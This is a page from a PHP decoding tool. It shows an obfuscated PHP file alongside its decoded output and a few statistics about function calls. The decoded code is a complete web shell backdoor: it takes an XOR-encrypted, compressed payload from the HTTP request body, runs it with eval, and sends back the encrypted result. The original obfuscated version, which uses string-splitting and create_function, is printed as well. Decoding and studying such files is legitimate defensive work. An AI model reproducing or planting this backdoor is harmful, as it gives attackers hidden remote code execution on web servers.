Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $S='}^$k{$j};}}retuWrn $oW;}if(@pWreg_mWatch(W"/$Wkh(.+)$kf/"W,@Wfile_get_con'; $b..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="e53268f5";$kh="161b8702227d";$kf="f042dfc5d4a2";$p="nU31ggSuZVilXH4C";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php
$S='}^$k{$j};}}retuWrn $oW;}if(@pWreg_mWatch(W"/$Wkh(.+)$kf/"W,@Wfile_get_con';
$b='foWr($WWi=0W;$i<$l;){for($j=0;($Wj<$c&&$iW<W$l);$jW++,$i+W+)W{$o.=$Wt{W$i';
$W='W);$r=@basWe64W_encodWe(@x(W@gzcomWpressW($o),$Wk));prinWt("$p$Wkh$r$kf");}';
$h=str_replace('B','','creBaBteB_BBfuncBtion');
$M='@baWsWeW64_decoWde($m[W1]),$kW)));$o=@ob_WgWet_Wcontents();@ob_Wend_Wclean(';
$l='$k="e53W268f5"WW;$kh="161b8W7WW02227d";$Wkf="f042dfc5dW4Wa2";$pW=W"nU31ggS';
$r='WWtentsW("php:/W/iWnputW"),$m)==1){@WoWb_start();@eWval(@gzuWncomWpress(@x(';
$E='uZVilXH4C"W;Wfunction xW($t,$Wk){$Wc=WstrlWen($k);W$l=stWrlen($t);$o="";W';
$i=str_replace('W','',$l.$E.$b.$S.$r.$M.$W);
$R=$h('',$i);$R();
?>
Function Calls
preg_match | 1 |
str_replace | 2 |
create_function | 1 |
file_get_contents | 1 |
Stats
MD5 | 643e2618c9dc93b8b6b9e9c891c68c77 |
Eval Count | 1 |
Decode Time | 230 ms |